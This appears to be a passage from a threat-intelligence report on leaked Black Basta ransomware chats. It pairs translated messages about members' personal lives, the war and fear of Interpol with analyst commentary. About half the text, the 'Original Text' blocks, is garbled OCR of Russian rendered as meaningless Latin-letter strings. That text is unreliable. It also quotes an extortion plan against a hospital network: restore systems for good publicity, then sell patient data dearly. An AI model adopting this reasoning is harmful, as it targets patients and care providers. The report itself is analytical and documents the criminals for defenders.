<@nickolas:talks.icu> Kak y Tebsa gena? * Bce
XOPOLLIO, BYEpa Hanps>KeHNe BeYepoM CHMMa,
BbINW/ NEPBbIVA pa3 3a ABa roja JBa LoTa X0J104HOro
abconroTa 1 Kpenko yCcHyn

A member reports drinking Absolut vodka for refreshment after a two-year abstinence from alcohol.

Sleep Deprivation #1

Translated

2023-11-23 16:12:38,
@usernamenn:matrix.bestflowers247.online, Fuck, |
slept for a shitload of hours.

2023-11-23 16:12:46,
@usernamegg:matrix.bestflowers247.online, What's
up?

2023-11-23 16:12:54,
@usernamenn:matrix.bestflowers247.online, Yeah, |
finally caught up on all that crap.

2023-11-23 16:13:00,
@usernamenn:matrix.bestflowers247.online, | just
hadn't been getting enough sleep before.

Sleep Deprivation #2

Translated

2023-09-28 17:52:47, @w,
matrixtcFJHPDbImt2rg.network, That's it, you can
upload it there, I'll step away for 5 minutes.
2023-09-28 17:52:49, @w,
matrixtcFJHPDblmt2rg.network, I'll be back soon.
2023-09-28 17:53:09, @w,
matrixtcFJHPDblmt2rg.network, I'm going to bed
earlier today, since | barely slept, only about 4 hours.

Original Text

2023-11-23 16:12:38,
@usernamenn:matrix.bestflowers247.online, nnsgey s
nocnan Aoxys 4acos

2023-11-23 16:12:46,
@usernamegg:matrix.bestflowers247.online, uto
Takoe?

2023-11-23 16:12:54,
@usernamenn:matrix.bestflowers247.online, aa
BbICMAJICA 3@ BCHO XYWHIO

2023-11-23 16:13:00,
@usernamenn:matrix.bestflowers247.online, go atoro
He BbICbINaiCcs NpocT

Original Text

2023-09-28 17:52:47, @w,
matrixtcFJHPDblmt2rg.network, Bce, MoXeLUb rpy3nTb
TyAa, OTOWAY Ha MUHYT 5

2023-09-28 17:52:49, @w,
matrixtcFJHPDblmt2rg.network, ckopo 6yay
2023-09-28 17:53:09, @w,
matrixtcFJHPDblmt2rg.network, s ceroaHa nopaHbLue
noway cnaTb, a TO He NMOYTK He nocnan, Yaca 4 Bcero

The chat logs document multiple sleep deprivation complaints from members. Late-night conversations persist

throughout the chat logs, though less intensive than daytime activity, indicating members regularly sacrifice

sleep for work continuation.
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Expectations for the Younger Generation

Expectations for a Young Member

Translated

2023-12-19 21:36:41,
@usernamegg:matrix.bestflowers247.online,

Yes, you are talented and you need to develop it...
you have an aptitude for these things, that's very
valuable. I'm already old ) | want less and less of
anything, but when | see young people like you with
eyes burning with passion, | also start to move )

Original Text

2023-12-19 21:36:41,
@usernamegg:matrix.bestflowers247.online, aa, bl
TaNaHTAMBbIN M HAaAO 3TO pPa3BMBaTb... y Tebs
NPeApPacnoNOXeHHOCTb K 3TUM AenaMm, 3TO JOpOroro
CTOWT. A yXXe CTapbli ) MHe y>Xe BCe MeHbLUe 1
MEHbLLIE YTO TO XOYETCA, HO KOTAa A BUXKY BOT Takmx
MOJIOABIX C FOPALLMMMU FNa3aMu f TOXKE HaunHako
ABUraTbCs )

gg describes declining motivation with age, yet renewed vitality through exposure to younger generation's
enthusiasm. Comments reflect positive attitudes toward intergenerational exchange and youthful energy.

Bonds from Childhood

Referring to Childhood Friends

Translated

2023-11-10 22:15:06,
@usernamegg:matrix.bestflowers247.online, That's his
friend since childhood

2023-11-10 22:15:11,
@usernamegg:matrix.bestflowers247.online, Basically,
we've all been tied together here for a long time )
2023-11-10 22:15:15,
@usernamegg:matrix.bestflowers247.online, No
details )

Original Text

2023-11-10 22:15:06,
@usernamegg:matrix.bestflowers247.online, gpyr 310
ero c eTcTea

2023-11-10 22:15:11,
@usernamegg:matrix.bestflowers247.online, kopoue
Mbl TyT BCE MOBsi3aHbl 4aBHO )

2023-11-10 22:15:15,
@usernamegg:matrix.bestflowers247.online, 6e3
noapobHocTen)

The chat logs reference long-term intimate relationships and strong interpersonal bonds within the organization.
These exchanges suggest connections extending beyond operational collaboration.
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Work-Related Conversations among Members

A Double Life with Another Job

Translated

2023-12-20 13:54:48,
@usernamegg:matrix.bestflowers247.online, It feels
like you come here after your white job.

2023-12-20 13:55:35,
@tinker:matrix.bestflowers247.online, What do you
mean feels like? I've told you this. More than once.
2023-12-20 13:56:19,
@tinker:matrix.bestflowers247.online, Back at Horsa,
where | worked before you, it was the same thing - |
told him a hundred times, and only a year later he
was like, oh, so you actually have a second job!!
2023-12-20 13:56:50,
@tinker:matrix.bestflowers247.online, If you take me
into pentesting and phishing - I'll come earlier.

Original Text

2023-12-20 13:54:48,
@usernamegg:matrix.bestflowers247.online, Takoe
OLUYLILEHME YTO Thl MPUXOAULLL Nocse 6esol paboTsl
croaa)

2023-12-20 13:55:35,
@tinker:matrix.bestflowers247.online, B cMbic/e
owyuieHme? A xe Tebe 310 rosopua. M He pas
2023-12-20 13:56:19,
@tinker:matrix.bestflowers247.online, BoT B x0pca,
rae s pabotan fo Tebs Takas e Oblia Tema - CTO pas
€My rOBOPWJI, @ OH TO/IbKO Yepes roj - Takou - Tak y
Teb6s e paboTta BTOpas!!

2023-12-20 13:56:50,
@tinker:matrix.bestflowers247.online, Bo3bMEéLb B
neHTecT 1 du - Byay paHblUe NPUXOANTD)

tinker explicitly acknowledges conducting Black Basta operations alongside other employment. Despite this dual
lifestyle becoming routine, past experiences of insufficient understanding from peers emerge in discussions.
Negotiations propose flexible participation schedules for specific roles such as penetration testing or phishing

activities. These exchanges indicate operational involvement functions as supplementary income activity.

Working as a Freelancer

Translated

2023-12-20 15:37:19,
@usernamegg:matrix.bestflowers247.online, Are you
working in a government structure?

[omitted]

2023-12-20 15:38:10,
@tinker:matrix.bestflowers247.online, Nope,
freelancing.

Original Text

2023-12-20 15:37:19,
@usernamegg:matrix.bestflowers247.online, Tbl B roc
CTPyKTYype paboTaeLlb?

[omitted]

2023-12-20 15:38:10,
@tinker:matrix.bestflowers247.online, Hea, Bo
bpunaHce

gg asked tinker about his occupation, and the reply was “l work as a freelancer.” This suggests that, in addition
to criminal activities, he also has a legitimate occupation.
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Collapse of Human Relationships

Asking about Contact with Horus

Translated

2023-12-20 15:39:57,
@tinker:matrix.bestflowers247.online, | hope you're
not in contact with Horus, because he himself cut me
and the entire team of analysts without warning, and
then he even goes around saying that I'm an FSB
agent.

2023-12-20 15:40:42,
@tinker:matrix.bestflowers247.online, But that's either
from salts (not my theory), or in his old age he's
decided to get stubborn, and now he sees epaulettes
everywhere.

Original Text

2023-12-20 15:39:57,
@tinker:matrix.bestflowers247.online, Bbl c xopcom,
Hazerocb He obLLaeTech, @ TO OH CaM MeHS U BCHO
KOMaHZy aHa/MTMKOB COoKpaTu 6e3
npeaynpexaeHuvs, a NoToM eLLé 3aTMpaeT, YTo A
OCBLIHMK.

2023-12-20 15:40:42,
@tinker:matrix.bestflowers247.online, Ho 310 y Hero
TOAW CONUN (He MOsl Teopwms), TONM Ha CTapOCTU NeT
peLuna Ha NPUHLMN NOWTK, U TeNepb Be3ae NOroHbI
BUAWT.

Horus served as a Conti ransomware group member who confirmed tinker's affiliation. Horus suddenly
dismissed the team and spread claims about tinker being "connected to the FSB (Russian Federal Security
Service)." tinker expresses dissatisfaction with these allegations. These exchanges reveal internal conflicts and

conspiracy-related suspicions within the groups.

Horus Appearing Changed

Translated

2023-12-20 15:49:00,
@tinker:matrix.bestflowers247.online, | don’t know
what happened to him. As if the person was simply
replaced. He used to be awesome - stood up for his
people, did everything wisely.

[omitted]

And at the end of 2022 something just snapped.
2023-12-20 15:49:11,
@tinker:matrix.bestflowers247.online, Sorry for
bursting out with such a tome.

2023-12-20 15:49:14,
@tinker:matrix.bestflowers247.online, it's just a
painful subject.

Original Text
2023-12-20 15:49:00,
@tinker:matrix.bestflowers247.online, A He 3Hato, uTO
C HUM cayymnock. Kak byato yenoseka NnpocTo
noameHun. OH opUreHHbIV OblA - 32 CBOUX NFOAEN
CTOAN, BCE Aeias Mo ymy.

[omitted]

B KOoHUe 2022r0 YTO-TO NPOCTO XPACHYNO.
2023-12-20 15:49:11,
@tinker:matrix.bestflowers247.online, CopsH, uto
TaK1UM TaJIMyZAOM Pa3poANICS

2023-12-20 15:49:14,
@tinker:matrix.bestflowers247.online, npocto
6osnbHas Tema

tinker reports sudden changes in colleague Horus, describing relationship deterioration. Emotional language
indicates significant personal impact from this breakdown.
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I 3.2 References to War and Politics

The leaked chat logs reveal war and conflict impacts on individual members. Regional warfare affects members'
psychological states as national tensions create personal stress. Some members relocate due to conflict
conditions, demonstrating unavoidable geopolitical influences. These patterns show how international instability
affects organizational operations regardless of cyber criminals like Black Basta.

Hopes for the End of the War

Desire for War's End #1

Translated

2023-12-19 20:41:56,
@usernamegg:matrix.bestflowers247.online, | thought
you would disappear

2023-12-19 20:42:05,
@usernamegg:matrix.bestflowers247.online, there is
still a war going on between our peoples
2023-12-19 20:42:12,
@usernamegg:matrix.bestflowers247.online, | thought
that might interfere with working

2023-12-19 20:42:14,
@usernamegg:matrix.bestflowers247.online, but no
2023-12-19 20:42:16,
@usernamegg:matrix.bestflowers247.online, you are
adequate

2023-12-19 20:42:20,
@usernamegg:matrix.bestflowers247.online, | am
adequate

2023-12-19 20:42:24,
@usernamegg:matrix.bestflowers247.online, we
worked well together

2023-12-19 20:42:29,
@usernamegg:matrix.bestflowers247.online, it would
be better if you were nearby of course

2023-12-19 20:42:34,
@usernamegg:matrix.bestflowers247.online, but that
is for time to show

[omitted]

2023-12-19 20:57:00,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> there
is still a war going on between our peoples yes, |
understand that, but | don't focus on it, | don't want
to get into games where | can’t do anything)
2023-12-19 20:57:22,
@w:matrixtcFJHPDbImt2rg.network, | am one
hundred percent against war, | want everything to

Original Text

2023-12-19 20:41:56,
@usernamegg:matrix.bestflowers247.online, s gyman
Tbl MOTepAeLLbCA

2023-12-19 20:42:05,
@usernamegg:matrix.bestflowers247.online, y Hac
elle MexJy HalWnMmn HapoAammn BOMHa naet
2023-12-19 20:42:12,
@usernamegg:matrix.bestflowers247.online, s gyman
3TO MOXET NomMeLlaTb paboTatb

2023-12-19 20:42:14,
@usernamegg:matrix.bestflowers247.online, Ho HeT
2023-12-19 20:42:16,
@usernamegg:matrix.bestflowers247.online, Tbl
ajieKkBaTeH

2023-12-19 20:42:20,
@usernamegg:matrix.bestflowers247.online, s
ajieKkBaTeH

2023-12-19 20:42:24,
@usernamegg:matrix.bestflowers247.online, mbl
cpaboTanuch

2023-12-19 20:42:29,
@usernamegg:matrix.bestflowers247.online, nyywe
6bl Tbl BbI1 PAJOM KOHEYHO

2023-12-19 20:42:34,
@usernamegg:matrix.bestflowers247.online, Ho 310
Kak BpemMs nokaxet

[omitted]

2023-12-19 20:57:00,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> y Hac
ele MexJy Halnmmn Hapoaamun BOMHa UAET Aa,
MOHMMatO 3TO, HO A HE aKLLEeHTUPYHO Ha 3TO
BHUMaHWes, 1 He XOuy Ne3Tb B UrPbl, r4e A HUYero He
MOry caenartb)

2023-12-19 20:57:22,
@w:matrixtcFJHPDbImt2rg.network, s npoT1B BOMHbI
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end sooner already)

2023-12-19 20:57:34,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> it
would be better if you were nearby of course | am still
thinking about that for now

2023-12-19 20:57:46,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> but
that is for time to show yeah

2023-12-19 20:59:00,
@w:matrixtcFJHPDbImt2rg.network, that's just how |
was raised, | cannot betray myself first of all, because
you helped me, | cannot neglect that, it is worth a lot,
in our reality help from other people is worth its
weight in gold)

3TO CTO MpPOL, XO4y YTOObI BCE 3aKOHUMIOCH ObICTpee
yxe)

2023-12-19 20:57:34,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> nyuwe
6bl Tbl HbI1 PAAOM KOHEYHO AyMato Ha 3TUM MOKa YTO
2023-12-19 20:57:46,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> Ho 310
Kak Bpems nokaxeT gara

2023-12-19 20:59:00,
@w:matrixtcFJHPDbImt2rg.network, meHs Tak
BOCMWTaNN NPOCTO, HE MOTY NPeAacTb B NepByro
ouepesb cebs, nb6o Tbl MHE MOMOT, HE MOTY TakUM
npeHebperaTb, 3TO ZOPOro CTOUT, B HALLNX peasmsx
MOMOLLb APYTMM NHOASIM Ha BEC 30/10Ta)

gg and w maintain collaborative relationships for financial gain despite their nations being at war. w expresses

strong loyalty and gratitude in exchanges, emphasizing interpersonal relationships and mutual support. These

communications reflect deeply rooted family values.
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Desire for War's End #2

Translated

2024-03-07 13:31:59,
@usernamegg:matrix.bestflowers247.online, | have
two guys from Donbas working, their parents are all
here, everything is fine. Just recently, though, one of
their fathers was killed in this damned war (
[omitted]

2024-03-07 13:32:38,
@usernamegg:matrix.bestflowers247.online, they
were wandering around wherever possible (Turkey,
Asia, Dubai, Europe

2024-03-07 13:32:44,
@usernamegg:matrix.bestflowers247.online, ended
up coming here in the end

2024-03-07 13:33:03,
@usernamegg:matrix.bestflowers247.online, | met
them, settled them in, everyone is satisfied.

Original Text

2024-03-07 13:31:59,
@usernamegg:matrix.bestflowers247.online, y meHs
ABe pebsT ¢ loHbaca paboTatoT, poguTenm Bce TyT,
BCE XOPOLIO. HeAaBHO HaTHO TO/IbKO YOUAN Yy OAHOTO
Ha BOWHE 3TO KOHUEeHOM (

[omitted]

2024-03-07 13:32:38,
@usernamegg:matrix.bestflowers247.online, Toxe
LIaTaIUCh rAe TOJIbKO MOXHO ( Typuwus, a3us, gyban,
eBporna

2024-03-07 13:32:44,
@usernamegg:matrix.bestflowers247.online,
npvexanu croja B utore

2024-03-07 13:33:03,
@usernamegg:matrix.bestflowers247.online, s
BCTPETW/, Pa3MeCcTu , BCEM JOBOJIbHbI.

gg describes employing young men from Donbas (eastern Ukraine) and arranging their living conditions. The
account highlights the severe impact of war, including the loss of a family member, and shows that gg
demonstrates a supportive attitude toward people facing hardship.

Appeals for Assistance to Escape Conflict Zones

Evacuation and Requests for Aid from War-Torn Israel

Translated

2023-10-09 16:32:13,
@w:matrixtcFJHPDbImt2rg.network, In Israel,
basically, and Lebanon has also started attacking,
looks like I won't be going back there anymore.
2023-10-09 16:32:29,
@w:matrixtcFJHPDbImt2rg.network, I'll probably
settle somewhere in Europe now.

2023-10-09 16:33:23,
@w:matrixtcFJHPDbImt2rg.network, Can you, if
anything, help me out with an apartment, so | can
rent monthly and also set up at least a small
workspace for myself, since | don't know when I'll be
able to retrieve anything from there.

Original Text

2023-10-09 16:32:13,
@w:matrixtcFJHPDbImt2rg.network, B nspavne
Kapouye 1 AvBaH Hayan HanazaTb, MOXOAY Y>Ke He
BEPHYCb Tysa

2023-10-09 16:32:29,
@w:matrixtcFJHPDbImt2rg.network, 6yay y>e B
eBpone oceAatb rae 1o

2023-10-09 16:33:23,
@w:matrixtcFJHPDbImt2rg.network, cmoxeLub eciu
YTO MEHA BbIPYYUTb Ha KBAPTUPY, UTODbI A CHAN yXKe
MOMECSAYHO U TaK MO Menoun paboyee MecTo cebe
XOTb YyTKa CAeNas, a To A He 3Hato Korga cmory
OTTyza YTO TO 3abpaTb

w explains forced evacuation from conflict zones and requests support for securing new living arrangements.

The member cites intensified Israel-Lebanon hostilities preventing return, emphasizing urgent needs for

European temporary housing and workspace establishment.



|3.3 Ethics and Morality

Internal communications during a large-scale medical network ransomware attack reveal clear contradictions

between members' organizational roles and personal awareness. The group pursued systematic extortion

strategies: conditionally restoring life-critical systems, avoiding external intervention, and pressuring victims into
ransom negotiations. Individual statements repeatedly referenced potential risks to children's lives, documenting

awareness of attack consequences.

Discussions on the Attack against a Large-Scale Medical Network

Urging the Separation of Attack and Politics for Ransom Negotiations

Translated
2024-05-09 20:36:56,
@tinker:matrix.bestflowers247.online,

There are two approaches regarding this ransom and
this case. If it were a regular target, there would be no
question - we'd just set a high price, a percentage of
the annual revenue, and that’s it - the price would
skyrocket hard.

But specifically, with this target, here and now, there
are obvious problems. A hospital, religious at that,
and one of the largest in the country - this
immediately carries the risk of turning the issue into a
political one.

This risk is compounded by the situation with AlphV
and <Masked: Organization Name>, which was
declared a national security risk, and now the CEO of
their parent company is testifying before Congress.
Moreover, elections in the US are around the corner,
so the cops will go crazy because they need their
stars, and before the elections, they need them twice
as much. | think you remember - before the last
elections, 4 years ago, the NSA tried to hit Trick’s
servers just as a warning.

And God forbid someone dies now (and out of
millions of their patients, | assure you, they'll find at
least one person whose death they can pin on us - at
minimum as a pretext not to pay out life insurance,
which half of Americans have), then they could
designate this as terrorism altogether.

When the situation shifts into the political arena, it
becomes dangerous.

Original Text
2024-05-09 20:36:56,
@tinker:matrix.bestflowers247.online,

EcTb ABa nogxoza, kacaTeNbHO W 3TOTO paHCoMa U
3TOro kewca. byab 370 06bIUHBIV TapreT, TO BONpoca
6bl He 6bI10 - MPOCTO CTaBUM BbICOKYHO LieHy, % OT
ro4OBOr0O PEBEHIO N BCE - TaM LieHa YNeTUT XKECTKO.

Ho, KOHKPETHO, C 3TUM TapreToM U 34eCh U cenvac
€CTb NOHATHble NPo6aeMbl. BonbHMLA, eLlé 1
PeNNrno3Has, eLLE 1 OfHa U3 KPYMHEWLMX B CTPaHe,
3TO Cpasy pWCK NePeBOAa BOMPOCa B MOINTUYECKOE
pychno.

OcnoxHAeTCA 3TOT PUCK TeM, UTO CUTyauns ¢ anbdsn
n <Masked: Organization Name> 6bin1a o6baBaeHa
KaK pucK Hal,.6e30MacHOCTY, U cevac reHanp nx
MaTepMaHCKOW KOMMaHWM pacrnuHaeTca nepes
KOHrpeccom. bonee Toro, BbIGOpbI B tOCe yXKe Ha
HOCy, Tak YTo noauuan ByayT NHOTOBaTb, Tak Kak UM
HY>KHbI IbIYKW, @ Nepes Bbibopammn Hy>XKHbl BABOWHE.
A aymato, Tbl 66N KOrAa Nepes NPOLWAbIMY Bbibopamu
- 4 roga Ha3ag, AHB nonbitTanach yaaputb no
cepBpaM TPMKa, YNCTO A/l OCTPACTKM.

A, ecnun HY pali bor elwé kTo-To ceivac NOMpET (a Ha
MWNMOHbBI UX MaLWEHTOB, fi BOT Tebe OTBeYaro, Yto
HanAETCA OAMH Yes, CMepPTb KOTOPOro MOXHO byaeT
MOBeCUTb Ha Hac (KaKk MUHUMYM 4TObbI He
BbiMaumBaTh life insurance, kotopas y Kaxaoro
BTOPOro amepkuaHLa ectb), TO 3TO BOOOLLEe MOryT Kak
TepakT 0603HauunThb).

Korga cuTyaums nepexoauT B MOAUTUYECKOE PYCAO,
OHa CTaHOBUTCA OMacHOM.
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[omitted]

The way out, purely at the idea level, is this.

We need to separate politics from the attack, to sow
division in the political space and society.

What | mean is this: we need, as you said, to help
them with restoring systems from the lock so that
people can receive medical services. Actually, this
could become a great branded thesis - that we are
“the good guys.”

This will let us dodge the problem of being seen as
“an attack by a hostile state,” because no one will be

able to make big political capital from that except us.

But the data - that we should sell hard, at a steep
price - because data is not a doctor’s visit.

When we lock medical terminals and some old man
can't book an oncology appointment, and Fox runs
headlines about it, we look like villains in their eyes.
But when bloated managers can’t safeguard
entrusted patient data, and it leaks from them - then
they are the "bad guys.”

And in that case, we almost look like positive
characters, because we show how rotten the system
is.

And then no one can say “the price is too high, how
could you do this,” because yes - that is the price of
your own screw-up.

[omitted]

BbIxoa, - YMCTO Ha YPOBHE MAeu - npeasarato BOT
TakoMn.

Hy)KHO pasgenntb NOANTUKY U aTaky, yTo6bI NOCEATDL
pasaop B NOANTUNHYECKOM CEFTMEHTE U O6Ll.l,eCTBe.

Yto 5 umeto B BMAY. Hago, Kak Tbl U ckasas, MOMOYb
MM C BOCCTAHOBJIEHMEM CUCTEM OT 10Ka, YTODbI NH0AN
MOTN NoAyYaTbh Mes.

ycnyrn. MoxHo caenatb U3 3TO KPyTon BpaHA0BbIN
Te31C Ha caMOM Jesie - NPO TO Kakue Mbl
npaBuW/bHbIE.

OTO MO3BOAUT YBEPHYTLCA OT NPO6IeMbI "aTaku
BpaxaebHoro rocyaapcrea”, NOToMy UTO 60/1bLLIOTO
NONNTUYECKOrO Kanutasa Npu Takom packnage,
HWKTO, KpOMe HacC CaMux He cAenaert.

A BOT aTy Haf0 y>Xe UM NpojaBaTh Mo XXECTKON LeHe
- NOTOMY YTO AaTa - 3TO He MOXOZ K Bpayy.

Koraa Mbl 1oUMM Mej, TepMUHaN U CTapuUyoK U CTaTby
®OKC Ha MOXeT 3anmcaTbCa Ha BU3UT K OHKOIOTY,
Mbl BbIFASAMM B UX [1a3ax Kak 3/104en, a BOT, Korga
3aXKpaBLUMECA MEHEAKEPbI HE MOTYT COXPaHUTb
BBEPEHHYIO UM AaTy MaLMEHTOB, M OHa OT HUX
yTekaeT, TO "naoxme napHu" - y>ke OHW.

A Mbl TYT YyTb /I HE NONIOXKMUTE/IbHBIV NEPCOHAX,
MOTOMY YTO MOKa3blBaeM HAaCKONbKO MPOrHuia
cucTema.

N y>ke HUKTO He CMOXKET CKa3aTb - LieHa CULLIKOM
BbICOKas, UTO Xe Bbl TaKoe JenaeTe, NOTOMY YTO Aa -
3TO LieHa Ballero npoéba.

tinker, as a Black Basta member, advocates eliminating political risks to secure ransoms and emphasizes

separating attacks from politics. The conversations show system decryption decisions prioritize ransom

acquisition over moral or ethical considerations regarding hospital operations.

Subsequent exchanges reveal tinker's personal desire to prevent child fatalities, demonstrating oscillation

between organizational responsibilities and individual emotions. This pattern suggests religious and moral

conflicts despite operational involvement, with specific concerns about life-threatening consequences reflecting

internal ethical frameworks.
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Inner Conflict after Triggering an Incident Involving Children’s Lives

Translated

2024-05-12 03:09:12,
@tinker:matrix.bestflowers247.online, * Neither
politically nor morally (to be honest, | don’t want to
end up in hell if a child with a heart defect dies right
now (and about such cases, the God of my faith has
spoken very unambiguously), or if someone has
complications during childbirth).
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Original Text

2024-05-12 03:09:12,
@tinker:matrix.bestflowers247.online, * Hn
NOANTNYECKN HN MOpPaNbHO (MHE YEeCTHO roBOpS, B aj,
He XoueTcs, ecan pebEHOK C MOPOKOM cepAua cenyac
YMPET (a npo Takue ciyyau, bor moelt Bepbl oueHb
OAHO3HAYHO BbICKa3bIBaJICA) UM Y KOrO-TO NMpu
poaax 6yayT OCNOXHEHWS)



I 3.4 Vigilance against Law Enforcement Agencies

Law enforcement activities represent significant risk factors for ransomware groups, including Black Basta.
Members monitor arrests of other ransomware operators and track intensifying enforcement trends and legal
sanctions. They implement security measures against communication interception, securing encrypted channels
and preferring face-to-face meetings. Accounts from previously detained members discussing their experiences
further demonstrate heightened vigilance toward law enforcement operations.

Discussions on Vigilance against Law Enforcement

Threats from Interpol and Law Enforcement Agencies #1

Translated

2024-07-18 09:40:33, @chuck:talks.icu, by the way this
guy from tricks seems to be Russian

2024-07-18 09:40:48, @chuck:talks.icu, he has a public
card on the Interpol website

2024-07-18 09:41:39, @chuck:talks.icu,
https://www.interpol.int/How-we-work/Notices/Red-
Notices/View-Red-Notices#2024-37141 2024-07-18
09:42:18, @usernamegg:matrix.bestflowers247.online,
Place of birth MOSKAU, Russia Nationality Russia
[omitted]

2024-07-18 09:44:53,
@usernamegg:matrix.bestflowers247.online, fucking
hell )

2024-07-18 09:44:58, @chuck:talks.icu, Bentley from
RF, works for FSB

2024-07-18 09:45:01,
@usernamegg:matrix.bestflowers247.online, sorry for
the profanity 2024-07-18 09:45:12, @chuck:talks.icu,
there's too little information for now

2024-07-18 09:45:16, @chuck:talks.icu, don't know
what happened there

[omitted]

2024-07-18 09:47:15,
@usernamegg:matrix.bestflowers247.online, we'll
keep watching the situation

2024-07-18 09:47:19, @chuck:talks.icu, and he was
friends with Ari

2024-07-18 09:47:31, @chuck:talks.icu, alright, have a
good workout 2024-07-18 09:47:41,
@usernamegg:matrix.bestflowers247.online, ++
2024-07-18 09:47:42, @chuck:talks.icu, | think
something will become clear in the near future 2024-
07-18 09:47:52,
@usernamegg:matrix.bestflowers247.online, >
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Original Text

2024-07-18 09:40:33, @chuck:talks.icu, kctaTn atoT
Yyen 13 TPUKOB MOXOAY PYCCKUIA

2024-07-18 09:40:48, @chuck:talks.icu, y Hero
KapTouka nybanyHas Ha cailTe nHTepnona
2024-07-18 09:41:39, @chuck:talks.icu,
https://www.interpol.int/How-we-work/Notices/Red-
Notices/View-Red-Notices#2024-37141

2024-07-18 09:42:18,
@usernamegg:matrix.bestflowers247.online, Place of
birth  MOSKAU, Russia Nationality Russia

[omitted]

2024-07-18 09:44:53,
@usernamegg:matrix.bestflowers247.online, ebaHbi
nmnsaey, )

2024-07-18 09:44:58, @chuck:talks.icu, 6eHTan 13 pd,
paboTaet Ha dcb

2024-07-18 09:45:01,
@usernamegg:matrix.bestflowers247.online, copsH 3a
mat

2024-07-18 09:45:12, @chuck:talks.icu, noka nHobI
CMLLKOM Masio

2024-07-18 09:45:16, @chuck:talks.icu, x3 uto Tam
NpOn30LLIO

[omitted]

2024-07-18 09:47:15,
@usernamegg:matrix.bestflowers247.online, 6yaem
HabioaaTh 3@ 06CTAaHOBKOM

2024-07-18 09:47:19, @chuck:talks.icu, a oH c apu
APY>XKeH 6bin

2024-07-18 09:47:31, @chuck:talks.icu, aaBan,
XOpoLUuen TPEHNPOBKM

2024-07-18 09:47:41,
@usernamegg:matrix.bestflowers247.online, ++
2024-07-18 09:47:42, @chuck:talks.icu, s gymato yeto
npoAcHUTCA B Bankaliiee BpemMs



<@chuck:talks.icu> I think something will become
clear in the near future 100%

2024-07-18 09:48:01,
@usernamegg:matrix.bestflowers247.online, no point
going underground yet )

2024-07-18 09:48:11, @chuck:talks.icu, not yet)

2024-07-18 09:47:52,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> s gymato yeTo NpoACHUTCA B
6amxariwee Bpema 100%

2024-07-18 09:48:01,
@usernamegg:matrix.bestflowers247.online, noka B
NoAMNo/be YXOAUTb HE CTOUT )

2024-07-18 09:48:11, @chuck:talks.icu, noka HeT)

Members share information about associates listed by Interpol. Discussions include rumors about individuals

allegedly connected to the Russian Federal Security Service (FSB) and interpersonal dynamics within operational
groups. They acknowledge risks while determining immediate concealment unnecessary, maintaining situational

awareness.

Threats from Interpol and Law Enforcement Agencies #2

Translated
2024-07-15 11:23:58, @chuck:talks.icu, hello 2024-07-
15 11:23:59, @chuck:talks.icu, how are you? 2024-07-
15 11:24:11,
@usernamegg:matrix.bestflowers247.online,
everything's fine 2024-07-15 11:24:15,
@usernamegg:matrix.bestflowers247.online, how are
you?
2024-07-15 11:24:37,
@usernamegg:matrix.bestflowers247.online, you
understand that an Interpol request can always come
for us,
2024-07-15 11:24:39,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-15 11:25:01,
@usernamegg:matrix.bestflowers247.online, and
those who Interpol pays here will start making our
blood boil 2024-07-15 11:39:21, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> you
understand that an Interpol request can always come
for us, do you think such a thing is possible? 2024-07-
15 11:39:29,
@usernamegg:matrix.bestflowers247.online, ye
2024-07-15 11:39:37,
@usernamegg:matrix.bestflowers247.online, my
security people told me so
2024-07-15 11:39:52, @chuck:talks.icu, damn 2024-
07-15 11:39:57, @chuck:talks.icu, wouldn't want that
2024-07-15 11:40:05,
@usernamegg:matrix.bestflowers247.online, my
security people say they'll strangle everyone, won't
even let them catch their breath

Original Text

2024-07-15 11:23:58, @chuck:talks.icu, npuset
2024-07-15 11:23:59, @chuck:talks.icu, kak TbI?
2024-07-15 11:24:11,
@usernamegg:matrix.bestflowers247.online, Bce
POBHO

2024-07-15 11:24:15,
@usernamegg:matrix.bestflowers247.online, Tbi kak?
2024-07-15 11:24:37,
@usernamegg:matrix.bestflowers247.online, Tbl
MOHWMaelLb YTO Ha HaC MOXET NPUATU BCerAa 3anpoc
C UHTepnona,

2024-07-15 11:24:39,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-15 11:25:01,
@usernamegg:matrix.bestflowers247.online, n e
KOMY TYT MAaTUT MHTEPNOA HaYHYT CBOpaynBaTh
KPOBb Ham

2024-07-15 11:39:21, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> Tbl
MOHUMaeLLb YTO Ha HaC MOXET NPUATN BCerda 3anpoc
C VHTepnona , Tbl AyMaellb Takoe BO3MOXHO?
2024-07-15 11:39:29,
@usernamegg:matrix.bestflowers247.online, aa
2024-07-15 11:39:37,
@usernamegg:matrix.bestflowers247.online, MHe mown
CUIOBUKM U CKasanu

2024-07-15 11:39:52, @chuck:talks.icu, enpct
2024-07-15 11:39:57, @chuck:talks.icu, He xoTenocb
6bl

2024-07-15 11:40:05,
@usernamegg:matrix.bestflowers247.online, MHe mown
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2024-07-15 11:40:08, @chuck:talks.icu, well what's the
point of them doing it, they won't extradite anyway
2024-07-15 11:42:16, @chuck:talks.icu, they would
have strangled everyone long ago

2024-07-15 11:43:15, @chuck:talks.icu, what do you
think to do next?

2024-07-15 11:43:35,
@usernamegg:matrix.bestflowers247.online, you've
known me for so many years )

2024-07-15 11:44:07, @chuck:talks.icu, yes indeed )
2024-07-15 11:44:24, @chuck:talks.icu, do you have
doubts whether it's worth continuing? [omitted]
2024-07-17 07:36:58,
@usernamegg:matrix.bestflowers247.online, |
gathered everyone, all my people are ready to go into
battle even tomorrow, but they're resting for now, |
told them summer is a good time to go to our seas,
spend time with loved ones and so on

2024-07-17 07:37:48,
@usernamegg:matrix.bestflowers247.online, we'll
start in September. right now I'll deal with what's
piled up. 2024-07-17 10:11:24, @chuck:talks.icu, Hello
2024-07-17 10:12:16, @chuck:talks.icu, | understand
you, | see that you're gradually getting back in shape)
2024-07-17 10:12:17, @chuck:talks.icu, that's good)
2024-07-17 10:23:13, @chuck:talks.icu, Tell me in
more detail what your security people are saying.
